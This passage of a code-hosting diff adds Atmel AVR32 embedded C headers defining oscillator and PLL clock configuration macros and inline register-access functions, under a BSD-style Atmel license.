* SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
|
||||
* CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
||||
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
||||
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH
|
||||
* DAMAGE.
|
||||
*/
|
||||
#ifndef CHIP_OSC_H_INCLUDED
|
||||
#define CHIP_OSC_H_INCLUDED
|
||||
|
||||
#include <board.h>
|
||||
|
||||
/**
|
||||
* \weakgroup osc_group
|
||||
* @{
|
||||
*/
|
||||
|
||||
//! \name Oscillator identifiers
|
||||
//@{
|
||||
#define OSC_ID_OSC0 0 //!< External Oscillator 0
|
||||
#define OSC_ID_OSC1 1 //!< External Oscillator 1
|
||||
#define OSC_ID_OSC32 2 //!< External 32 kHz oscillator
|
||||
//@}
|
||||
|
||||
//! \name OSC0/OSC1 mode values
|
||||
//@{
|
||||
//! External clock connected to XIN
|
||||
#define OSC_MODE_EXTERNAL AVR32_PM_MODE_EXT_CLOCK
|
||||
//! Crystal connected to XIN/XOUT. Use oscillator gain G0 (400 kHz to 900 kHz)
|
||||
#define OSC_MODE_XTAL_G0 AVR32_PM_MODE_CRYSTAL_G0
|
||||
//! Crystal connected to XIN/XOUT. Use oscillator gain G1 (900 kHz to 3 MHz)
|
||||
#define OSC_MODE_XTAL_G1 AVR32_PM_MODE_CRYSTAL_G1
|
||||
//! Crystal connected to XIN/XOUT. Use oscillator gain G2 (3 MHz to 8 MHz)
|
||||
#define OSC_MODE_XTAL_G2 AVR32_PM_MODE_CRYSTAL_G2
|
||||
//! Crystal connected to XIN/XOUT. Use oscillator gain G3 (8 MHz and higher)
|
||||
#define OSC_MODE_XTAL_G3 AVR32_PM_MODE_CRYSTAL_G3
|
||||
//@}
|
||||
|
||||
//! \name OSC32 mode values
|
||||
//@{
|
||||
//! External clock connected to XIN32
|
||||
#define OSC32_MODE_EXTERNAL AVR32_PM_OSCCTRL32_MODE_EXT_CLOCK
|
||||
//! Crystal connected to XIN32/XOUT32. Use automatic gain control
|
||||
#define OSC32_MODE_XTAL AVR32_PM_OSCCTRL32_MODE_CRYSTAL
|
||||
//@}
|
||||
|
||||
//! \name OSC0/OSC1 startup values
|
||||
//@{
|
||||
//! 0 cycles
|
||||
#define OSC_STARTUP_0 AVR32_PM_OSCCTRL0_STARTUP_0_RCOSC
|
||||
//! 64 cycles (560 us)
|
||||
#define OSC_STARTUP_64 AVR32_PM_OSCCTRL0_STARTUP_64_RCOSC
|
||||
//! 128 cycles (1.1 ms)
|
||||
#define OSC_STARTUP_128 AVR32_PM_OSCCTRL0_STARTUP_128_RCOSC
|
||||
//! 2048 cycles (18 ms)
|
||||
#define OSC_STARTUP_2048 AVR32_PM_OSCCTRL0_STARTUP_2048_RCOSC
|
||||
//! 4096 cycles (36 ms)
|
||||
#define OSC_STARTUP_4096 AVR32_PM_OSCCTRL0_STARTUP_4096_RCOSC
|
||||
//! 8192 cycles (71 ms)
|
||||
#define OSC_STARTUP_8192 AVR32_PM_OSCCTRL0_STARTUP_8192_RCOSC
|
||||
//! 16384 cycles (142 ms)
|
||||
#define OSC_STARTUP_16384 AVR32_PM_OSCCTRL0_STARTUP_16384_RCOSC
|
||||
//@}
|
||||
|
||||
//! \name OSC32 startup values
|
||||
//@{
|
||||
//! 0 cycles
|
||||
#define OSC32_STARTUP_0 AVR32_PM_OSCCTRL32_STARTUP_0_RCOSC
|
||||
//! 128 cycles (1.1 ms)
|
||||
#define OSC32_STARTUP_128 AVR32_PM_OSCCTRL32_STARTUP_128_RCOSC
|
||||
//! 8192 cycles (72.3 ms)
|
||||
#define OSC32_STARTUP_8192 AVR32_PM_OSCCTRL32_STARTUP_8192_RCOSC
|
||||
//! 16384 cycles (143 ms)
|
||||
#define OSC32_STARTUP_16384 AVR32_PM_OSCCTRL32_STARTUP_16384_RCOSC
|
||||
//! 65536 cycles (570 ms)
|
||||
#define OSC32_STARTUP_65536 AVR32_PM_OSCCTRL32_STARTUP_65536_RCOSC
|
||||
//! 131072 cycles (1.1 s)
|
||||
#define OSC32_STARTUP_131072 AVR32_PM_OSCCTRL32_STARTUP_131072_RCOSC
|
||||
//! 262144 cycles (2.3 s)
|
||||
#define OSC32_STARTUP_262144 AVR32_PM_OSCCTRL32_STARTUP_262144_RCOSC
|
||||
//! 524288 cycles (4.6 s)
|
||||
#define OSC32_STARTUP_524288 AVR32_PM_OSCCTRL32_STARTUP_524288_RCOSC
|
||||
//@}
|
||||
|
||||
/**
|
||||
* \def OSC0_STARTUP_TIMEOUT
|
||||
* \brief Number of slow clock cycles to wait for OSC0 to start
|
||||
*
|
||||
* This is the number of slow clock cycles corresponding to
|
||||
* OSC0_STARTUP_VALUE with an additional 25% safety margin. If the
|
||||
* oscillator isn't running when this timeout has expired, it is assumed
|
||||
* to have failed to start.
|
||||
*/
|
||||
/**
|
||||
* \def OSC0_MODE_VALUE
|
||||
* \brief Board-dependent value written to the MODE bitfield of
|
||||
* PM_OSCCTRL(0)
|
||||
*/
|
||||
/**
|
||||
* \def OSC0_STARTUP_VALUE
|
||||
* \brief Board-dependent value written to the STARTUP bitfield of
|
||||
* PM_OSCCTRL(0)
|
||||
*/
|
||||
|
||||
#if defined(BOARD_OSC0_STARTUP_US)
|
||||
# if BOARD_OSC0_STARTUP_US == 0
|
||||
# define OSC0_STARTUP_VALUE OSC_STARTUP_0
|
||||
# define OSC0_STARTUP_TIMEOUT 8
|
||||
# elif BOARD_OSC0_STARTUP_US <= 560
|
||||
# define OSC0_STARTUP_VALUE OSC_STARTUP_64
|
||||
# define OSC0_STARTUP_TIMEOUT 80
|
||||
# elif BOARD_OSC0_STARTUP_US <= 1100
|
||||
# define OSC0_STARTUP_VALUE OSC_STARTUP_128
|
||||
# define OSC0_STARTUP_TIMEOUT 160
|
||||
# elif BOARD_OSC0_STARTUP_US <= 18000
|
||||
# define OSC0_STARTUP_VALUE OSC_STARTUP_2048
|
||||
# define OSC0_STARTUP_TIMEOUT 2560
|
||||
# elif BOARD_OSC0_STARTUP_US <= 36000
|
||||
# define OSC0_STARTUP_VALUE OSC_STARTUP_4096
|
||||
# define OSC0_STARTUP_TIMEOUT 5120
|
||||
# elif BOARD_OSC0_STARTUP_US <= 71000
|
||||
# define OSC0_STARTUP_VALUE OSC_STARTUP_8192
|
||||
# define OSC0_STARTUP_TIMEOUT 10240
|
||||
# elif BOARD_OSC0_STARTUP_US <= 142000
|
||||
# define OSC0_STARTUP_VALUE OSC_STARTUP_16384
|
||||
# define OSC0_STARTUP_TIMEOUT 20480
|
||||
# else
|
||||
# error BOARD_OSC0_STARTUP_US is too high
|
||||
# endif
|
||||
# if BOARD_OSC0_IS_XTAL == true
|
||||
# if BOARD_OSC0_HZ < 900000
|
||||
# define OSC0_MODE_VALUE OSC_MODE_XTAL_G0
|
||||
# elif BOARD_OSC0_HZ < 3000000
|
||||
# define OSC0_MODE_VALUE OSC_MODE_XTAL_G1
|
||||
# elif BOARD_OSC0_HZ < 8000000
|
||||
# define OSC0_MODE_VALUE OSC_MODE_XTAL_G2
|
||||
# else
|
||||
# define OSC0_MODE_VALUE OSC_MODE_XTAL_G3
|
||||
# endif
|
||||
# else
|
||||
# define OSC0_MODE_VALUE OSC_MODE_EXTERNAL
|
||||
# endif
|
||||
#else
|
||||
# ifdef BOARD_OSC0_HZ
|
||||
# error BOARD_OSC0_STARTUP_US must be defined by the board code
|
||||
# endif
|
||||
# ifdef __DOXYGEN__
|
||||
# define OSC0_STARTUP_VALUE UNDEFINED
|
||||
# define OSC0_STARTUP_TIMEOUT UNDEFINED
|
||||
# define OSC0_MODE_VALUE UNDEFINED
|
||||
# endif
|
||||
#endif
|
||||
|
||||
/**
|
||||
* \def OSC1_STARTUP_VALUE
|
||||
* \brief Board-dependent value written to the STARTUP bitfield of
|
||||
* PM_OSCCTRL(1)
|
||||
*/
|
||||
/**
|
||||
* \def OSC1_STARTUP_TIMEOUT
|
||||
* \brief Number of slow clock cycles to wait for OSC1 to start
|
||||
*
|
||||
* This is the number of slow clock cycles corresponding to
|
||||
* OSC1_STARTUP_VALUE with an additional 25% safety margin. If the
|
||||
* oscillator isn't running when this timeout has expired, it is assumed
|
||||
* to have failed to start.
|
||||
*/
|
||||
/**
|
||||
* \def OSC1_MODE_VALUE
|
||||
* \brief Board-dependent value written to the MODE bitfield of
|
||||
* PM_OSCCTRL(1)
|
||||
*/
|
||||
#if defined(BOARD_OSC1_STARTUP_US)
|
||||
# if BOARD_OSC1_STARTUP_US == 0
|
||||
# define OSC1_STARTUP_VALUE OSC_STARTUP_0
|
||||
# define OSC1_STARTUP_TIMEOUT 8
|
||||
# elif BOARD_OSC1_STARTUP_US <= 560
|
||||
# define OSC1_STARTUP_VALUE OSC_STARTUP_64
|
||||
# define OSC1_STARTUP_TIMEOUT 80
|
||||
# elif BOARD_OSC1_STARTUP_US <= 1100
|
||||
# define OSC1_STARTUP_VALUE OSC_STARTUP_128
|
||||
# define OSC1_STARTUP_TIMEOUT 160
|
||||
# elif BOARD_OSC1_STARTUP_US <= 18000
|
||||
# define OSC1_STARTUP_VALUE OSC_STARTUP_2048
|
||||
# define OSC1_STARTUP_TIMEOUT 2560
|
||||
# elif BOARD_OSC1_STARTUP_US <= 36000
|
||||
# define OSC1_STARTUP_VALUE OSC_STARTUP_4096
|
||||
# define OSC1_STARTUP_TIMEOUT 5120
|
||||
# elif BOARD_OSC1_STARTUP_US <= 71000
|
||||
# define OSC1_STARTUP_VALUE OSC_STARTUP_8192
|
||||
# define OSC1_STARTUP_TIMEOUT 10240
|
||||
# elif BOARD_OSC1_STARTUP_US <= 142000
|
||||
# define OSC1_STARTUP_VALUE OSC_STARTUP_16384
|
||||
# define OSC1_STARTUP_TIMEOUT 20480
|
||||
# else
|
||||
# error BOARD_OSC1_STARTUP_US is too high
|
||||
# endif
|
||||
# ifdef BOARD_OSC1_IS_XTAL
|
||||
# if BOARD_OSC1_HZ < 900000
|
||||
# define OSC1_MODE_VALUE OSC_MODE_XTAL_G0
|
||||
# elif BOARD_OSC1_HZ < 3000000
|
||||
# define OSC1_MODE_VALUE OSC_MODE_XTAL_G1
|
||||
# elif BOARD_OSC1_HZ < 8000000
|
||||
# define OSC1_MODE_VALUE OSC_MODE_XTAL_G2
|
||||
# else
|
||||
# define OSC1_MODE_VALUE OSC_MODE_XTAL_G3
|
||||
# endif
|
||||
# else
|
||||
# define OSC1_MODE_VALUE OSC_MODE_EXTERNAL
|
||||
# endif
|
||||
#else
|
||||
# ifdef __DOXYGEN__
|
||||
# define OSC1_STARTUP_VALUE UNDEFINED
|
||||
# define OSC1_STARTUP_TIMEOUT UNDEFINED
|
||||
# define OSC1_MODE_VALUE UNDEFINED
|
||||
# endif
|
||||
#endif
|
||||
|
||||
/**
|
||||
* \name Board-specific configuration parameters
|
||||
* The following definitions must be provided by the board code for all
|
||||
* working oscillators on the board.
|
||||
*/
|
||||
//@{
|
||||
/**
|
||||
* \def BOARD_OSC0_HZ
|
||||
* \brief Clock frequency of OSC0 in Hz
|
||||
*/
|
||||
/**
|
||||
* \def BOARD_OSC0_STARTUP_US
|
||||
* \brief Startup time of OSC0 in microseconds
|
||||
*/
|
||||
/**
|
||||
* \def BOARD_OSC0_IS_XTAL
|
||||
* \brief OSC0 uses a crystal, not an external clock
|
||||
*/
|
||||
/**
|
||||
* \def BOARD_OSC1_HZ
|
||||
* \brief Clock frequency of OSC1 in Hz
|
||||
*/
|
||||
/**
|
||||
* \def BOARD_OSC1_STARTUP_US
|
||||
* \brief Startup time of OSC1 in microseconds
|
||||
*/
|
||||
/**
|
||||
* \def BOARD_OSC1_IS_XTAL
|
||||
* \brief OSC1 uses a crystal, not an external clock
|
||||
*/
|
||||
/**
|
||||
* \def BOARD_OSC32_HZ
|
||||
* \brief Clock frequency of OSC32 in Hz
|
||||
*/
|
||||
/**
|
||||
* \def BOARD_OSC32_STARTUP_US
|
||||
* \brief Startup time of OSC32 in microseconds
|
||||
*/
|
||||
/**
|
||||
* \def BOARD_OSC32_IS_XTAL
|
||||
* \brief OSC32 uses a crystal, not an external clock
|
||||
*/
|
||||
#if !defined(BOARD_OSC0_HZ)
|
||||
# ifdef __DOXYGEN__
|
||||
# define BOARD_OSC0_HZ UNDEFINED
|
||||
# endif
|
||||
#endif
|
||||
#if !defined(BOARD_OSC0_STARTUP_US)
|
||||
# ifdef __DOXYGEN__
|
||||
# define BOARD_OSC0_STARTUP_US UNDEFINED
|
||||
# endif
|
||||
#endif
|
||||
#if !defined(BOARD_OSC0_IS_XTAL)
|
||||
# ifdef __DOXYGEN__
|
||||
# define BOARD_OSC0_IS_XTAL UNDEFINED
|
||||
# endif
|
||||
#endif
|
||||
#if !defined(BOARD_OSC1_HZ)
|
||||
# ifdef __DOXYGEN__
|
||||
# define BOARD_OSC1_HZ UNDEFINED
|
||||
# endif
|
||||
#endif
|
||||
#if !defined(BOARD_OSC1_STARTUP_US)
|
||||
# ifdef __DOXYGEN__
|
||||
# define BOARD_OSC1_STARTUP_US UNDEFINED
|
||||
# endif
|
||||
#endif
|
||||
#if !defined(BOARD_OSC1_IS_XTAL)
|
||||
# ifdef __DOXYGEN__
|
||||
# define BOARD_OSC1_IS_XTAL UNDEFINED
|
||||
# endif
|
||||
#endif
|
||||
#if !defined(BOARD_OSC32_HZ)
|
||||
# ifdef __DOXYGEN__
|
||||
# define BOARD_OSC32_HZ UNDEFINED
|
||||
# endif
|
||||
#endif
|
||||
#if !defined(BOARD_OSC32_STARTUP_US)
|
||||
# ifdef __DOXYGEN__
|
||||
# define BOARD_OSC32_STARTUP_US UNDEFINED
|
||||
# endif
|
||||
#endif
|
||||
#if !defined(BOARD_OSC32_IS_XTAL)
|
||||
# ifdef __DOXYGEN__
|
||||
# define BOARD_OSC32_IS_XTAL UNDEFINED
|
||||
# endif
|
||||
#endif
|
||||
/**
|
||||
* \name Slow clock frequency limits
|
||||
* The slow clock is an internal RC oscillator whose frequency may drift
|
||||
* a bit as a result of temperature changes. These definitions provide
|
||||
* upper and lower limits which may be used to calculate upper and lower
|
||||
* limits of timeouts, derived clock frequencies, etc.
|
||||
*/
|
||||
//@{
|
||||
//! Nominal frequency of the slow clock in Hz
|
||||
#define OSC_SLOW_NOMINAL_HZ AVR32_PM_RCOSC_FREQUENCY
|
||||
//! Minimum frequency of the slow clock in Hz
|
||||
#define OSC_SLOW_MIN_HZ 100000
|
||||
//! Maximum frequency of the slow clock in Hz
|
||||
#define OSC_SLOW_MAX_HZ 120000
|
||||
//@}
|
||||
|
||||
#ifndef __ASSEMBLY__
|
||||
|
||||
#include <stdbool.h>
|
||||
#include <stdint.h>
|
||||
#include <avr32/io.h>
|
||||
|
||||
static inline void osc_enable(uint8_t id)
|
||||
{
|
||||
irqflags_t flags;
|
||||
uint32_t oscctrl;
|
||||
|
||||
flags = cpu_irq_save();
|
||||
|
||||
switch (id) {
|
||||
#ifdef BOARD_OSC0_HZ
|
||||
case OSC_ID_OSC0:
|
||||
oscctrl = OSC0_STARTUP_VALUE <<
|
||||
AVR32_PM_OSCCTRL0_STARTUP_OFFSET;
|
||||
oscctrl |= OSC0_MODE_VALUE << AVR32_PM_OSCCTRL0_MODE_OFFSET;
|
||||
AVR32_PM.oscctrl0 = oscctrl;
|
||||
AVR32_PM.mcctrl |= 1 << AVR32_PM_MCCTRL_OSC0EN;
|
||||
break;
|
||||
#endif
|
||||
|
||||
#ifdef BOARD_OSC1_HZ
|
||||
case OSC_ID_OSC1:
|
||||
oscctrl = OSC1_STARTUP_VALUE <<
|
||||
AVR32_PM_OSCCTRL1_STARTUP_OFFSET;
|
||||
oscctrl |= OSC1_MODE_VALUE << AVR32_PM_OSCCTRL1_MODE_OFFSET;
|
||||
AVR32_PM.oscctrl1 = oscctrl;
|
||||
AVR32_PM.mcctrl |= 1 << AVR32_PM_MCCTRL_OSC1EN;
|
||||
break;
|
||||
#endif
|
||||
|
||||
default:
|
||||
/* unhandled_case(id); */
|
||||
break;
|
||||
}
|
||||
|
||||
cpu_irq_restore(flags);
|
||||
}
|
||||
|
||||
static inline void osc_disable(uint8_t id)
|
||||
{
|
||||
irqflags_t flags;
|
||||
|
||||
flags = cpu_irq_save();
|
||||
AVR32_PM.mcctrl &= ~(1U << (AVR32_PM_MCCTRL_OSC0EN + id));
|
||||
cpu_irq_restore(flags);
|
||||
}
|
||||
|
||||
static inline bool osc_is_ready(uint8_t id)
|
||||
{
|
||||
return !!(AVR32_PM.poscsr & (1U << (AVR32_PM_POSCSR_OSC0RDY + id)));
|
||||
}
|
||||
|
||||
static inline uint32_t osc_get_rate(uint8_t id)
|
||||
{
|
||||
switch (id) {
|
||||
#ifdef BOARD_OSC0_HZ
|
||||
case OSC_ID_OSC0:
|
||||
return BOARD_OSC0_HZ;
|
||||
#endif
|
||||
|
||||
#ifdef BOARD_OSC1_HZ
|
||||
case OSC_ID_OSC1:
|
||||
return BOARD_OSC1_HZ;
|
||||
#endif
|
||||
|
||||
default:
|
||||
/* unhandled_case(id); */
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
#endif /* !__ASSEMBLY__ */
|
||||
|
||||
//! @}
|
||||
|
||||
#endif /* CHIP_OSC_H_INCLUDED */
|
|
@ -0,0 +1,201 @@
|
|||
/**
|
||||
* \file
|
||||
*
|
||||
* \brief Chip-specific PLL definitions
|
||||
*
|
||||
* Copyright (C) 2010 Atmel Corporation. All rights reserved.
|
||||
*
|
||||
* \page License
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions are met:
|
||||
*
|
||||
* 1. Redistributions of source code must retain the above copyright notice,
|
||||
* this list of conditions and the following disclaimer.
|
||||
*
|
||||
* 2. Redistributions in binary form must reproduce the above copyright notice,
|
||||
* this list of conditions and the following disclaimer in the documentation
|
||||
* and/or other materials provided with the distribution.
|
||||
*
|
||||
* 3. The name of Atmel may not be used to endorse or promote products derived
|
||||
* from this software without specific prior written permission.
|
||||
*
|
||||
* 4. This software may only be redistributed and used in connection with an
|
||||
* Atmel AVR product.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED
|
||||
* WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
|
||||
* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE
|
||||
* EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR
|
||||
* ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||
* SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
|
||||
* CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
||||
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
||||
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH
|
||||
* DAMAGE.
|
||||
*/
|
||||
#ifndef CHIP_PLL_H_INCLUDED
|
||||
#define CHIP_PLL_H_INCLUDED
|
||||
|
||||
/**
|
||||
* \weakgroup pll_group
|
||||
* @{
|
||||
*/
|
||||
|
||||
#define PLL_MAX_STARTUP_CYCLES ((1 << AVR32_PM_PLL0_PLLCOUNT_SIZE) - 1)
|
||||
#define NR_PLLS 2
|
||||
|
||||
/**
|
||||
* \brief Number of milliseconds to wait for PLL lock
|
||||
*/
|
||||
#define PLL_TIMEOUT_MS \
|
||||
div_ceil(1000 * (PLL_MAX_STARTUP_CYCLES * 2), OSC_SLOW_MIN_HZ)
|
||||
|
||||
/**
|
||||
* \note The PLL must run at twice this frequency internally, but the
|
||||
* output frequency may be divided by two by setting the PLLOPT[1] bit.
|
||||
*/
|
||||
#define PLL_MIN_HZ 40000000
|
||||
#define PLL_MAX_HZ 240000000
|
||||
|
||||
//! \name Chip-specific PLL options
|
||||
//@{
|
||||
//! VCO frequency range is 80-180 MHz (160-240 MHz if unset).
|
||||
#define PLL_OPT_VCO_RANGE_LOW 0
|
||||
//! Divide output frequency by two
|
||||
#define PLL_OPT_OUTPUT_DIV 1
|
||||
//! Disable wide-bandwidth mode
|
||||
#define PLL_OPT_WBM_DISABLE 2
|
||||
//! Number of PLL options
|
||||
#define PLL_NR_OPTIONS AVR32_PM_PLL0_PLLOPT_SIZE
|
||||
//! The threshold under which to set the #PLL_OPT_VCO_RANGE_LOW option
|
||||
#define PLL_VCO_LOW_THRESHOLD ((AVR32_PM_PLL_VCO_RANGE0_MIN_FREQ \
|
||||
+ AVR32_PM_PLL_VCO_RANGE1_MAX_FREQ) / 2)
|
||||
//@}
|
||||
|
||||
#ifndef __ASSEMBLY__
|
||||
|
||||
#include <avr32/io.h>
|
||||
#include <osc.h>
|
||||
#include <stdbool.h>
|
||||
#include <stdint.h>
|
||||
|
||||
enum pll_source {
|
||||
PLL_SRC_OSC0 = 0, //!< Oscillator 0
|
||||
PLL_SRC_OSC1 = 1, //!< Oscillator 1
|
||||
PLL_NR_SOURCES, //!< Number of PLL sources
|
||||
};
|
||||
|
||||
struct pll_config {
|
||||
uint32_t ctrl;
|
||||
};
|
||||
|
||||
#define pll_get_default_rate(pll_id) \
|
||||
((osc_get_rate(CONFIG_PLL##pll_id##_SOURCE) \
|
||||
* CONFIG_PLL##pll_id##_MUL) \
|
||||
/ CONFIG_PLL##pll_id##_DIV)
|
||||
|
||||
static inline void pll_config_set_option(struct pll_config *cfg,
|
||||
unsigned int option)
|
||||
{
|
||||
Assert(option < PLL_NR_OPTIONS);
|
||||
|
||||
cfg->ctrl |= 1U << (AVR32_PM_PLL0_PLLOPT + option);
|
||||
}
|
||||
|
||||
static inline void pll_config_clear_option(struct pll_config *cfg,
|
||||
unsigned int option)
|
||||
{
|
||||
Assert(option < PLL_NR_OPTIONS);
|
||||
|
||||
cfg->ctrl &= ~(1U << (AVR32_PM_PLL0_PLLOPT + option));
|
||||
}
|
||||
|
||||
/**
|
||||
* The PLL options #PLL_OPT_VCO_RANGE_LOW and #PLL_OPT_OUTPUT_DIV will
|
||||
* be set automatically based on the calculated target frequency.
|
||||
*/
|
||||
static inline void pll_config_init(struct pll_config *cfg,
|
||||
enum pll_source src, unsigned int div, unsigned int mul)
|
||||
{
|
||||
uint32_t vco_hz;
|
||||
|
||||
Assert(src < PLL_NR_SOURCES);
|
||||
|
||||
/* Calculate internal VCO frequency */
|
||||
vco_hz = osc_get_rate(src) * mul;
|
||||
vco_hz /= div;
|
||||
Assert(vco_hz >= PLL_MIN_HZ);
|
||||
Assert(vco_hz <= PLL_MAX_HZ);
|
||||
|
||||
cfg->ctrl = 0;
|
||||
|
||||
/* Bring the internal VCO frequency up to the minimum value */
|
||||
if ((vco_hz < PLL_MIN_HZ * 2) && (mul <= 8)) {
|
||||
mul *= 2;
|
||||
vco_hz *= 2;
|
||||
pll_config_set_option(cfg, PLL_OPT_OUTPUT_DIV);
|
||||
}
|
||||
|
||||
/* Set VCO frequency range according to calculated value */
|
||||
if (vco_hz < PLL_VCO_LOW_THRESHOLD)
|
||||
pll_config_set_option(cfg, PLL_OPT_VCO_RANGE_LOW);
|
||||
|
||||
Assert(mul > 2 && mul <= 16);
|
||||
Assert(div > 0 && div <= 15);
|
||||
|
||||
cfg->ctrl |= ((mul - 1) << AVR32_PM_PLL0_PLLMUL)
|
||||
| (div << AVR32_PM_PLL0_PLLDIV)
|
||||
| (PLL_MAX_STARTUP_CYCLES << AVR32_PM_PLL0_PLLCOUNT)
|
||||
| (src << AVR32_PM_PLL0_PLLOSC);
|
||||
}
|
||||
|
||||
#define pll_config_defaults(cfg, pll_id) \
|
||||
pll_config_init(cfg, \
|
||||
CONFIG_PLL##pll_id##_SOURCE, \
|
||||
CONFIG_PLL##pll_id##_DIV, \
|
||||
CONFIG_PLL##pll_id##_MUL)
|
||||
|
||||
static inline void pll_config_read(struct pll_config *cfg, unsigned int pll_id)
|
||||
{
|
||||
Assert(pll_id < NR_PLLS);
|
||||
|
||||
cfg->ctrl = AVR32_PM.pll[pll_id];
|
||||
}
|
||||
|
||||
static inline void pll_config_write(const struct pll_config *cfg,
|
||||
unsigned int pll_id)
|
||||
{
|
||||
Assert(pll_id < NR_PLLS);
|
||||
|
||||
AVR32_PM.pll[pll_id] = cfg->ctrl;
|
||||
}
|
||||
|
||||
static inline void pll_enable(const struct pll_config *cfg,
|
||||
unsigned int pll_id)
|
||||
{
|
||||
Assert(pll_id < NR_PLLS);
|
||||
|
||||
AVR32_PM.pll[pll_id] = cfg->ctrl | (1U << AVR32_PM_PLL0_PLLEN);
|
||||
}
|
||||
|
||||
static inline void pll_disable(unsigned int pll_id)
|
||||
{
|
||||
Assert(pll_id < NR_PLLS);
|
||||
|
||||
AVR32_PM.pll[pll_id] = 0;
|
||||
}
|
||||
|
||||
static inline bool pll_is_locked(unsigned int pll_id)
|
||||
{
|
||||
Assert(pll_id < NR_PLLS);
|
||||
|
||||
return !!(AVR32_PM.poscsr & (1U << (AVR32_PM_POSCSR_LOCK0 + pll_id)));
|
||||
}
|
||||
|
||||
#endif /* __ASSEMBLY__ */
|
||||
|
||||
//! @}
|
||||
|
||||
#endif /* CHIP_PLL_H_INCLUDED */
|
Some files were not shown because too many files have changed in this diff Show more
Loading…
Add table
Add a link
Reference in a new issue